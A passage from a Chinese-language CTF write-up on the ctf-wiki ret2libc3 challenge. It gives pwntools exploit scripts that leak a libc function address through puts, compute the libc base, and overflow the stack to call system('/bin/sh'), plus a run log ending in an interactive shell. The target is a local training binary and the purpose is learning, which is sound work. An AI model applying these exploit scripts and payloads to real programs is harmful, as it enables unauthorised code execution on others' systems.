# 发送构建好的 payload2 到程序,触发第二阶段的漏洞利用,旨在获取系统 Shell。
io.sendlineafter('!?',payload2)
# 与程序进行交互,获取系统 Shell,进入交互式命令模式。
io.interactive()
"""
┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─# python exp2.py
[+] Starting local process './ret2libc3': pid 21841
[*] '/root/ctfwiki/ret2libc3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
=== 通过泄露 setvbuf 函数的地址 ===
puts_plt: 134513760
hex(puts_plt): 0x8048460
setvbuf_got: 134520872
hex(setvbuf_got): 0x804a028
start_addr: 134513872
hex(start_addr): 0x80484d0
payload1: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`\x84\x04\x08\xd0\x84\x04\x08(\xa0\x04\x08'
/usr/local/lib/python3.11/dist-packages/pwnlib/tubes/tube.py:840: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
setvbuf_addr_raw: b'\x80:\xc7\xf7'
setvbuf_addr: 4157028992
hex(setvbuf_addr): 0xf7c73a80
=== 计算libc的基址,然后获取 system 函数地址和 /bin/sh 字符串地址 ===
[+] There are multiple libc that meet current constraints :
0 - libc6-amd64_2.31-0ubuntu9.4_i386
1 - libc6_2.3.2.ds1-13ubuntu2.3_amd64
2 - libc6_2.37-5_i386
3 - libc-2.33.9000-40.fc35.i686
4 - libc6_2.11.1-0ubuntu7.14_i386
5 - libc-2.33.9000-42.fc35.i686
6 - libc6-amd64_2.31-0ubuntu9.5_i386
7 - libc6_2.3.2.ds1-13ubuntu2.2_amd64
8 - libc6_2.37-6_i386
9 - libc-2.33.9000-43.fc35.i686
[+] Choose one : 2
hex(base): 0xf7c00000
hex(system_addr): 0xf7c4c8a0
hex(bin_addr): 0xf7db5fc8
payload2: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xc8\xc4\xf7\xd2\x04\x00\x00\xc8_\xdb\xf7'
[*] Switching to interactive mode
$ ls
core exp2.py exp33.py exp-clean.py exp.py ret2libc3
$
"""
可以看到有很多个libc版本,可以1个1个的试(因为程序为32位的,所以可以选择性的把64位的去掉)
另外一个办法就是查看libc-database,找到可用的libc,直接选择对应的libc序号即可
exp3:利用__libc_start_main泄露
官方的题解,没有跑出来
#!/usr/bin/env python
"""
基本利用思路如下:
1)泄露 __libc_start_main 地址
2)获取 libc 版本
3)获取 system 地址与 /bin/sh 的地址
4)再次执行源程序
5)触发栈溢出执行 system(‘/bin/sh’)
1)详细介绍:
a. 当你将puts函数的地址放在栈上,然后通过控制程序流使其执行puts函数,程序会跳转到puts函数的代码,开始执行它。而puts函数通常用于将一个以null结尾的字符串输出到标准输出(终端)。
b. 在这种情况下,你将__libc_start_main的GOT(Global Offset Table,全局偏移表)地址作为参数传递给了puts函数。这个GOT表是一个特殊的数据结构,包含了程序中需要调用的外部库函数的地址。其中,__libc_start_main函数在程序启动时被调用,因此GOT表中存储了对该函数的引用。
c. 当puts函数被执行时,它会根据传递的地址从GOT表中读取数据,然后将这些数据输出到终端。由于你传递的是__libc_start_main的GOT表地址,puts函数实际上会输出__libc_start_main函数的地址。
"""
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
# context(os="linux", log_level='debug')
puts_plt = ret2libc3.plt['puts']
libc_start_main_plt = ret2libc3.plt['__libc_start_main']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print("hex(puts_plt): ", hex(puts_plt))
print("hex(libc_start_main_got): ", hex(libc_start_main_got))
print("hex(libc_start_main_plt): ", hex(libc_start_main_plt))
print("hex(main): ", hex(main))
print("leak libc_start_main_got addr and return to main again")
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
# sh.sendlineafter('Can you find it !?', payload)
sh.sendlineafter('!?', payload)
print("get the related addr")
libc_start_main_addr_raw = sh.recv(4)
libc_start_main_addr = u32(libc_start_main_addr_raw)
print("libc_start_main_addr_raw: ", libc_start_main_addr_raw)
print("libc_start_main_addr: ", libc_start_main_addr)
print("hex(libc_start_main_addr): ", hex(libc_start_main_addr))
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print("hex(libcbase): ", hex(libcbase))
print("hex(system_addr): ", hex(system_addr))
print("hex(binsh_addr): ", hex(binsh_addr))
print("get shell")
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
参考
# CTFWIKI-PWN-ret2libc 讲的非常详细
# pwn学习之ret2libc3——偏移计算初体验 学习了部分技能
# 2019.7.25 ret2libc3 填充从112遍为104 学到了可以用setvbuf进行泄露